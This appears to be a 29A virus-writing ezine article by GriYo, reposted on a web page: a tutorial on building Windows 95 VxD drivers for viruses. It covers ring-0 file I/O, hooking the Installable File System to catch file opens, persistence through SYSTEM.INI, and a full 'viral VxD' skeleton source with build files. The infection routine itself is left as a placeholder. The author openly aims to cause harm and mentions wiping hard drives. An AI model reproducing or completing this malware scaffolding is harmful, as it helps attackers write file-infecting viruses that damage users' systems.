Copy Link
Add to Bookmark
Report

29A Issue 02 03 02

eZine's profile picture
Published in 
29A
 · 4 years ago

  

Virus oriented VxD writing tutorial
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ>
GriYo/29A

This tutorial represents just a minimum introduction to VxD programming. To
dominate the subject it deals with you need something more than this tuto-
rial. Nevertheless, I've tried to explain everything very clearly, so noone
stays on land ;)


What is a VxD?
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Well, let's go with what we're interested on. A VxD is a 32-bit code chunk
which executes in protected mode with RING-0 priviledge level. This is be-
cause they have to deal with system's resources, such as hardware devices
and installed software. I hope after reaching this point there is no doubt
about our intentions, right? it's about writing a VxD to control installed
software (of course!). To achieve this, we'll pinch the system where we can
cause more harm, the file system.


How to start
ÄÄÄÄÄÄÄÄÄÄÄÄ
Before getting on to work we must get some tools. This software is availa-
ble in the Microsoft Developer Network and a couple places more. You will
need to get your hands on them if you're interesting on writing VxDs.


- Microsoft Macro Assembler (i used 6.11c).
- Linear-Executable Linker (i used 1.00.058).
- Microsoft SDK's ADDHDR.EXE and MAPSYM32.EXE.


Since the first viruses for Windows95 written as VxD sources started to go
around, I've found many people who look for the includes needed to compile
these sources. You will need the following files from the SDK:


- VMM.INC : in this file you can find the macros and the defines of the
Virtual Machine Manager services.
- DEBUG.INC : only if you need to debug.
- SHELL.INC : this file declares the services which provide access to ma-
ny Windows functions, such as MessageBox.
- IFS.INC and
- IFSMGR.INC: they're only necessary if we want to fuck around with the
Windows95 file system.


The include files appear in the source between the .xlist and .list direc-
trices.


Writing a VxD
ÄÄÄÄÄÄÄÄÄÄÄÄÄ
Writing a VxD is something extremely easy if we use a generic source on
which we will add our code. Let's divide the work into several stages, this
way we may install and test the virus once we've completed each stage.

First start with a generic VxD which contains the segment, VxD and control
process declares. Later add the initialization procedure in real mode which
is, as we will see, the well-known residency check. Now write the VxD ini-
tialization and file-hooking processes. And finally write the remaining VxD
procedures.


VxD segments
ÄÄÄÄÄÄÄÄÄÄÄÄ
Inside the VxD we can find five different types of segments, each of them
with its own characteristics. So as to declare these segments we can use
the following macros:


- VxD_CODE_SEG and VxD_CODE_ENDS: also called _LTEXT, this is the protec-
ted mode code segment. The declare of this segment is compulsory.

- VxD_DATA_SEG and VxD_DATA_ENDS: also called _LDATA, they declare the
data segment for global use in the VxD. It's also needed to declare it.

- VxD_ICODE_SEG and VxD_ICODE_ENDS: also called _ITEXT. These two macros
define the beginning and the end of the protected mode initialization
code segment. This segment is optional and is discarded once completed
the initialization (after receiving the Init_Complete message).

- VxD_IDATA_SEG and VxD_IDATA_ENDS: also called _IDATA, here we may write
all the necessary data for the initialization, which are discarded once
the Init_Complete message is received. Its use is optional.

- VxD_REAL_INIT_SEG and VxD_REAL_INIT_ENDS: this optional segment, called
also _RTEXT, contains the procedure which the Virtual Machine Manager
will call before loading the rest of the VxD. It is discarded once the
procedure returns.


All these segments, except for _RTEXT (real mode initialization), are pro-
tected mode segments over a flat memory model. This means offsets are 32-
bit and we will have to use the "offset32" macro in all the places in which
we used "offset" before. Now CS, DS, ES and SS can't be modified, but ins-
tead we can use FS and GS.


VxD declaration
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
In order to declare our VxD we'll use the following macro:


Declare_Virtual_Device name, major version, minor version, control proce-
dure, device-ID, init order, V86 API handler, protected mode API handler


Fuck, at first sight it looks a terrible thing, but lemme write an example,
which i'm sure will change this first impression. We'll declare a VxD named
ViRuS, which will be 1.0 version of our virus.


Declare_Virtual_Device ViRuS,1,0,VxD_Control,Undefined_Device_ID,,,


As you can see I haven't used the last parameters, as we ain't neither in-
terested in providing an API for other programs nor in init order (later?).


VxD-ID
ÄÄÄÄÄÄ
It is a number which lets us differ an VxD from other. This is necessary if
the VxD provides other programs an API or if it provides services to other
VxDs. In our case we'll use Undefined_Device_ID as ID.


VxD Control Procedure
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
The Virtual Machine Manager sends control messages to the VxD using this
procedure. This way it notifies several VxDs about certain events. Followin
our last example, our control procedure would look like this:


BeginProc VxD_Control ; Name of control procedure which we
; declared with the VxD

Control_Dispatch Sys_Critical_Init, ViRuS_Critical_Init
Control_Dispatch Device_Init, ViRuS_Device_Init

EndProc VxD_Control


By doing this we're declaring which procedures will run whenever certain
system control messages are received. That is, run the ViRuS_Critical_Init
procedure when a Sys_Critical_Init is received, and whenever a Device_Init
message is received, run the ViRuS_Device_Init procedure.


System Control Messages
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
As we have said, the Virtual Machine Manager sends messages to VxDs so as
to notify about certain changes in the system. There are many different me-
ssages, but, as we are only beginners, we are interested just in a few:


- Sys_Critical_Init: this is the first message our VxD will receive. As
interruptions haven't been enabled yet, neither Simulate_Int nor Exec_
Int may be used. Other init services are at our disposal, such as, Get_
Exec_Path, which will provide us with the directory to install our VxD.

- Device_Init: second message, which tells us interruptions are available
now. It will be there, where we'll hang to the file system.

- Init_Complete: third and last message related to system init. On return
from the procedure which controls this message, the Virtual Machine Ma-
nager will discard the segments which contain code and data for the i-
nit (_ITEXT and _IDATA respectively).

- System_Exit: this is the first message we will get on system shut down.
Although interruptions are enabled, the services Simulate_Int and Exec_
Int mustn't be used.

- Sys_Critical_Exit: last shut down message, everything is clear...


In order to tell Windows95 to load our VxD we must add a line, DEVICE=VI-
RUS.VxD, to the [386Enh] section in the SYSTEM.INI, then copy the VxD to
the \SYSTEM directory and reboot the system. Another solution is shown, for
instance, in the Win95.Lizard virus by Reptile/29A, included in this issue.
The trick consists on using the \IOSUBSYS directory.

Windows95 may load a VxD dinamically, which is very interesting. However it
carries the use of new messages to notify the dinamic start and stop. These
techniques are not included in the objectives of this article because they
are part of a more advanced subject and #$%!@!!! because I don't wanna was-
te the rest of my life writing this! :P


Real mode initialization
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Thsi is the only part of a VxD in real mode. It runs on start of VxD load
an initialization process. This procedure may be used to avoid the loading
of the VxD, the loading of Windows, etc. We will use it for our residency
check, and avoid loading again the VxD if it was already loaded. The Vir-
tual Machine Manager calls this procedure with the following parameters:


AX -> VMM version number.

AH -> major version.
AL -> minor version.

BX -> Flags on load.

Duplicate_Device_ID -> a VxD with the same ID has been loaded.
Duplicate_From_INT2F -> same as the previous one, from int 2fh.
Loading_From_INT2F -> self explanatory :)

ECX -> 32-bit pointer, points to the entry for the real mode initializa-
tion services routine, which allows things such as reading the re-
gistry or SYSTEM.INI.

EDX -> pointer to int 2fh provided data, or null.

SI -> environment segment address, as passed by MS-DOS.


Our VxD may indicate the Virtual Machine Manager to perform several func-
tions, such as reserving physical pages, by returned parameters:


AX -> action.

Abort_Device_Load: this is the value which we will return when
the VMM tells us of a previously loaded VxD with the same VxD-ID.
Prevents the VxD from being loaded without disturbing other VxDs.

Abort_Win386_Load: tells VMM that everything is screwed up and it
should better not load Windows (which is nearly always) :P

Device_Load_Ok: when VMM receives this value, it understands that
initialization is running with no problems, and that the loading
process must continue.

No_Fail_Message: this value is used in combination with Abort_De-
vice_Load and with Abort_Win386_Load to prevent some error messa-
ges from appearing as a result of aborting Win or VxD loading.

BX -> points to an array with the numbers of the pages to reserve for
the VxD. This array ends in a NULL and contains pages ranging from
0000h to 0100h. If we don't want to reserve any pages, this value
is kept equal to 0000h.

EDX -> reference data, by now we'll set it to 00000000h.

SI -> instance data, we'll also set it to 0000h.


VMM services of our interest
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
The Virtual Machine Manager is the heart of the operating system, as it is
it the encharged to manage every virtual machine (hence, VMM). Moreover, it
offers several services, some of which I'll describe as an example.


Get_Cur_VM_Handle
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Get in EBX a handle about the VM being executed right now.


VMMcall Get_Cur_VM_Handle
mov [VM_handle],ebx


Get_Sys_VM_Handle
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Get in EBX a handle about the system VM.


VMMcall Get_Sys_VM_Handle
mov [SysVM_handle],ebx


Get_VMM_Version
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Get info about the VMM version.


VMMcall Get_VMM_Version
mov [Major],ah ; Major version number
mov [Minor],al ; Minor version number
mov [Debug],ecx ; Revision number


Get_Config_Directory
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
This great function provides us with the complete path to the directory
where Windows mantains the system files such as SYSTEM.INI.


VMMcall Get_Config_Directory
mov [win_path],edx


Get_Exec_Path
ÄÄÄÄÄÄÄÄÄÄÄÄÄ
Get a pointer to the path where Windows keeps the VMM32.VXD file. This
will be the best directory regarding to save our viral VxD, hidden bet-
ween system files in \SYSTEM.


VMMcall Get_Exec_Path
mov [path_ptr],edx
mov [length],ecx


The ECX register keeps the number of characters in the path string, in-
cluding last backlash "\".


_HeapAllocate
ÄÄÄÄÄÄÄÄÄÄÄÄÄ
Allocate memory in system's heap.


VMMcall _HeapAllocate,<#bytes,flags>

or eax,eax ; eax = 00h if error
jz not_allocated
mov [block_ptr], eax ; Pointer to allocated block


#bytes -> specifies number of bytes to allocate

flags -> refers to the following flags:

HEAPLOCKEDIFDP: allocate a memory block in a locked zone, only if
using MS-DOS or BIOS functions in order to page.

HEAPINIT: this flag can only be specified during initialization.
It allocates a memory block which will be automatically freed on-
ce init is completed.

HEAPSWAP: the block is allocated in a paged memory zone.

HEAPZEROINIT: the allocated block is initialized with 00h's.


_HeapFree
ÄÄÄÄÄÄÄÄÄ
Free a memory block allocated with last function.


VMMcall _HeapFree,<block_ptr,flags>

or eax,eax ; eax = 00h if error
jz error


Hook_V86_Int_Chain
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Add a new handler to a V86 interruption. Gollum virus uses this service
in order to monitor calls to the interrupt 21h.


mov eax,int_number ; Int to hook
mov esi,OFFSET32 my_handler ; Pointer to our handler
VMMcall Hook_V86_Int_Chain
jc error ; Carry set if error encountered


System calls new controller like this:


mov eax,int_number ; Interruption
mov ebx, VM ; Running VM handler
mov ebp, OFFSET32 crs ; Pointer to the Client_Reg_Struc
call [my_handler]

jc pass_to_next ; Carry set if the funciton wasnt
; dispensed


We also have an Unhook_V86_Int_Chain, whose mission is to free the inter-
ruption handler just installed.


mov eax,int_number ; Int number
mov esi,OFFSET32 Hook_Proc ; Address to the procedure which
; will be erased from the chain

VMMcall Unhook_V86_Int_Chain
jc error ; Carry set if error encountered


Installable File System
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Here we have all those functions which we continuously use in MS-DOS and a-
llow us to open files, read them, etc... it will be here where we will hook
our virus so as to monitor every operation the system will perform on files
in order to infect them. But let's go step by step.

To perform our operations on files we will use a service which will provide
us with the most common functions such as read, write, etc. Here it is:


mov eax,R0_OPENCREATFILE ; Function to call

; Requiered Params
mov cx,0 ; - Attributes
mov bx,2 ; - Flags
mov dx,0011h ; - Action and special flags
mov esi,OFFSET32 filename ; - Guess what??? ;)

VxDCall IFSMgr_Ring0_FileIO ; And finally, the call


Then the only thing we need in order to start is to know how to call every
function and how to pass the params. Well, this is the I/O form of some of
the functions we will mostly use...


OpenCreateFile
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
We will use this function to open or create files. Input params are:


EAX -> function R0_OPENCREATFILE
BX -> open mode and flags *
CX -> attributes
DH -> special flags (R0_NO_CACHE, R0_SWAPPER_CALL)
DL -> action to perform *
ESI -> pointer to the filename string

And output parameters are:

if CF=0

EAX -> file handle
ECX -> performed action *

if CF=1 error

* = Check int 21h function 6ch


ReadFile
ÄÄÄÄÄÄÄÄ
With R0_READFILE we'll read bytes from a previously opened file (with the
R0_OPENCREATEFILE call). Following parameters are expected:


EAX -> R0_READFILE
EBX -> file handle
ECX -> bytes to read
EDX -> place on file where to start reading
ESI -> pointer to buffer where to write data

Output:

if CF=0 then ECX = number of read bytes
if CF=1 error


WriteFile
ÄÄÄÄÄÄÄÄÄ
That is, write into a file, params are:


EAX -> R0_WRITEFILE
EBX -> file handle
ECX -> bytes to write
EDX -> place in file where to start writing
ESI -> pointer to the data we want to write

Output:

if CF=0 then ECX = number of written bytes
if CF=1 error


CloseFile
ÄÄÄÄÄÄÄÄÄ
In order to close a just infected file ;) The input params are:


EAX -> R0_CLOSEFILE
EBX -> file handle

Output:

if CF=0 file was closed ok
if CF=1 error (AX = errorcode)


GetFileSize
ÄÄÄÄÄÄÄÄÄÄÄ
I'm sure we'll find it useful. Use these parameters:


EAX -> R0_GETFILESIZE
EBX -> file handle

As a result:

if CF=0 then EAX = file size in bytes
if CF=1 error (AX = errorcode)


And well, we could start now, however we'll still need some more, such as
FileAttributes, RenameFile, DeleteFile, or GetDiskFreeSpace. As a colorful
note we also have WriteAbsoluteDisk and ReadAbsoluteDisk to fuck around a
bit if we don't like hard drives... :)

So we already know how to get on files, now we need to know how to hook up
to the File System so we can monitor its activity. We'll use an IFS manager
service, like this:


mov eax,OFFSET32 hook_procedure
push eax
VxDCall IFSMgr_InstallFileSystemApiHook
add esp,0004h
or eax,eax
jz error
mov dword ptr [prev_hook],eax
;Continue initialization process
clc
ret
error:
stc
ret


This way we tell the file system the address of our monitor procedure. Lets
see an example on writing this procedure...


hook_procedure:

; Follow C calls rules
push ebp
mov ebp,esp
sub esp,20h

; At this point we can address the following params using
; the stack:

; ebp+00h -> saved EBP value.
; ebp+04h -> return address.
; ebp+08h -> supplies the address of the FSD function that
; is to be called for this API.
; ebp+0Ch -> supplies the function that is being performed.
; ebp+10h -> supplies the 1-based drive the operation is being
; performed on (-1 if UNC).
; ebp+14h -> supplies the kind of resource the operation is being
; performed on.
; ebp+18h -> supplies the codepage that the user string was
; passed in on.
; ebp+1Ch -> supplies pointer to IOREQ structure.

; Total 20h bytes

; Next we'll do is check if this call has been performed by
; the virus while infecting a file

; Using a switch, we'll avoid dropping into an endless loop.

cmp dword ptr [our_own_call],"BUSY"
je exit_FS_hook

; This is the moment in which we check the function being called

cmp dword ptr [ebp+0Ch],IFSFN_OPEN
je virus_OPEN_FILE

exit_FS_hook:

mov eax,dword ptr [ebp+1Ch]
push eax
mov eax,dword ptr [ebp+18h]
push eax
mov eax,dword ptr [ebp+14h]
push eax
mov eax,dword ptr [ebp+10h]
push eax
mov eax,dword ptr [ebp+0Ch]
push eax
mov eax,dword ptr [ebp+08h]
push eax

; Finally let's call last IFS monitor procedure

mov eax,dword ptr [Prev_IFS_Hook]
call dword ptr [eax]

; The procedure is responsible for clearing the stack before
; RETurning the control to the caller

add esp,00000018h

; RETurn

leave
ret


Cannonicalized paths
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Every path IFS manager passes to the FSD's is in Unicode. A cannonicalized
path has quite different structure from that of C:\DOS we know so well ;)


This structure composes of:

1 WORD with the path's length (including this WORD but not the final NULL
character).

1 WORD with the offset of the path element of the string, each path ele-
ment keeps info about a path's part.

Various path elements. Their structure is composed of 1 WORD with the
pathname length (including the self WORD) followed by an Unicode string
with the name of that path element.

All cannonicalized paths contain a complete path from the partition root.


Installable File System services
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Some of these services have the format of a call in C so parameters are ac-
tually saves in the stack, depending on the function's necessities. Other
services are written to be called from ASM, hence loading the params in the
pertinent registers. The only service which can be useful for now is IFSMgr
_GetVersion, which allows us to check IFS's version.


IFSMgr_GetVersion

Input:

There are now input parameters

Output:

If CF=0 then EAX keeps the IFS manager version number
If CF=1 error


Generic viral VxD
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
This is an example for a generical viral VxD, over which to write the rest
of the code. The project is composed of the following files:


VIRUS.ASM ; ASM source with the viral VxD
VIRUS.DEF ; Module definition file
VIRUS.LNK ; Linker specifications file
MAKEFILE ; Project file

; - -[VIRUS.ASM]- - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8

MASM=1

.386p
.XLIST
INCLUDE VMM.Inc
INCLUDE ifs.inc
INCLUDE ifsmgr.inc
INCLUDE SheLL.Inc

.LIST

Declare_Virtual_Device VXD, 1, 0, VXD_Control, Undefined_Device_ID ,,,

VxD_REAL_INIT_SEG

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Virus95 real mode initialization code ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

BeginProc VxD_Real_Init_Proc

; Installation check

test bx,Duplicate_Device_ID
jnz short abort_virus_load

; Dont use any exclusion,instance or reference data

xor bx,bx
xor si,si
xor edx,edx

; Not installed, load device

mov ax,Device_Load_Ok
ret

abort_virus_load:

; Abort device loading process

mov ax,Abort_Device_Load or No_Fail_Message
ret

EndProc VxD_Real_Init_Proc

VxD_REAL_INIT_ENDS

VxD_LOCKED_DATA_SEG

; We have read/write access to locked code segment because
; its into a loked data segment

VxD_LOCKED_CODE_SEG

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Virus95 device init ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

BeginProc VXD_Device_Init

; This initialization code is into VxD_LOCKED_CODE_SEG
; in order to avoid paging while fucking around with IFS.

; Check installable file system version

cld
VxDCall IFSMgr_Get_Version
jc exit_device_init

; Get path of WIN386.EXE

VMMCall Get_Exec_Path

; Copy path to our buffer

mov esi,edx
mov edi,OFFSET32 VxD_File_Name
cld
rep movsb

; Write name of our VxD file next to the path

mov esi,OFFSET32 virus_VxD_Name
mov ecx,0Bh
cld
rep movsb

; At this point we have the path and name of our
; virual VxD into the Windos \SYSTEM directory...
; We can read it on a buffer or copy it directly
; while infecting the file...

; Following service is called to install a filesystem API hook.
; This should be called by a VxD that wants to hook the
; filesystem api call and do special processing on them.
; The IFS manager returns a pointer of the next hooker in the
; chain.

mov eax,OFFSET32 virus_FS_Monitor
push eax
VxDCall IFSMgr_InstallFileSystemApiHook

; If this function is failed for reasons such as out of memory,
; the return value is 0.

add esp,00000004h

or eax,eax
jz error_device_init
mov dword ptr [Prev_IFS_Hook],eax

exit_device_init:

; Continue initialization process

clc
ret

error_device_init:
stc
ret

EndProc VXD_Device_Init

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Virus95 file API hook ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

BeginProc virus_FS_Monitor

; Errr... Using C calling conventions

push ebp
mov ebp,esp
sub esp,20h

; Parameters into stack:

; ebp+00h -> saved EBP value.
; ebp+04h -> return address.
; ebp+08h -> supplies the address of the FSD function that
; is to be called for this API.
; ebp+0Ch -> supplies the function that is being performed.
; ebp+10h -> supplies the 1-based drive the operation is being
; performed on (-1 if UNC).
; ebp+14h -> supplies the kind of resource the operation is being
; performed on.
; ebp+18h -> supplies the codepage that the user string was
; passed in on.
; ebp+1Ch -> supplies pointer to IOREQ structure.

; Total 20h bytes

; Check if we are trying to process our own IFS calls

cmp dword ptr [our_own_call],"BUSY"
je exit_FS_hook

; Check for OPEN
; This function is called also before execution...

cmp dword ptr [ebp+0Ch],IFSFN_OPEN
je virus_OPEN_FILE

exit_FS_hook:

; Prepare parameters for calling previous FS API hook

mov eax,dword ptr [ebp+1Ch]
push eax
mov eax,dword ptr [ebp+18h]
push eax
mov eax,dword ptr [ebp+14h]
push eax
mov eax,dword ptr [ebp+10h]
push eax
mov eax,dword ptr [ebp+0Ch]
push eax
mov eax,dword ptr [ebp+08h]
push eax

; Call previous hook

mov eax,dword ptr [Prev_IFS_Hook]
call dword ptr [eax]

; IFS hooker needs to fix the stack before return to caller

add esp,00000018h

; Back to caller

leave
ret

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Open file/create a file ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

virus_OPEN_FILE:

; Save regs
pushfd
pushad

; Set IFS busy flag
mov dword ptr [our_own_call],"BUSY"

; Put here code to process filename and infect it

; Reset IFS busy field

mov dword ptr [our_own_call],"FREE"

; Get regs back

popad
popfd
jmp exit_FS_hook

EndProc virus_FS_Monitor

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Virus95 VxD control dispatcher ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

BeginProc VXD_Control

Control_Dispatch Device_Init, VxD_Device_Init
clc
ret

EndProc VXD_Control

VxD_LOCKED_CODE_ENDS

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Virus buffers into locked data segment ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

Prev_IFS_Hook dd 00000000h ;Previous IFS hooker
our_own_call db "EERF"
VxD_File_Name db 80h dup (00h) ;Path of virus VxD
virus_VxD_Name db "virus.VXD",00h ;Name of virus VxD file

VxD_LOCKED_DATA_ENDS

END

; - -[VIRUS.DEF]- - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8

LIBRARY VXD
DESCRIPTION 'ViRuS95'
EXETYPE DEV386

SEGMENTS
_LTEXT PRELOAD NONDISCARDABLE
_LDATA PRELOAD NONDISCARDABLE
_ITEXT CLASS 'ICODE' DISCARDABLE
_IDATA CLASS 'ICODE' DISCARDABLE
_TEXT CLASS 'PCODE' NONDISCARDABLE
_DATA CLASS 'PCODE' NONDISCARDABLE

EXPORTS
VXD_DDB @1

; - -[VIRUS.LNK]- - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8

VIRUS.obj
VIRUS.vxd /NOI /NOD /NOP
VIRUS.map /MAP

VIRUS.def

; - -[MAKEFILE] - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8

NAME = VIRUS

LINK = link386.exe

!ifdef DEBUG
DDEBUG =-DDEBLEVEL=1 -DDEBUG
!else
DDEBUG =-DDEBLEVEL=0
!endif

all : VIRUS.vxd

ASM = ml
#AFLAGS = -coff -DBLD_COFF -DIS_32 -W2 -c -Cx -Zm -DMASM6 $(DDEBUG)
AFLAGS = -DBLD_COFF -DIS_32 -W2 -c -Cx -Zm -DMASM6 $(DDEBUG)
ASMENV = ML

VIRUS.vxd: VIRUS.def VIRUS.obj
link386 @VIRUS.lnk
addhdr VIRUS.vxd
mapsym32 VIRUS
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8


GriYo/29A

I'm not in the business...
... I am the bussiness.

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT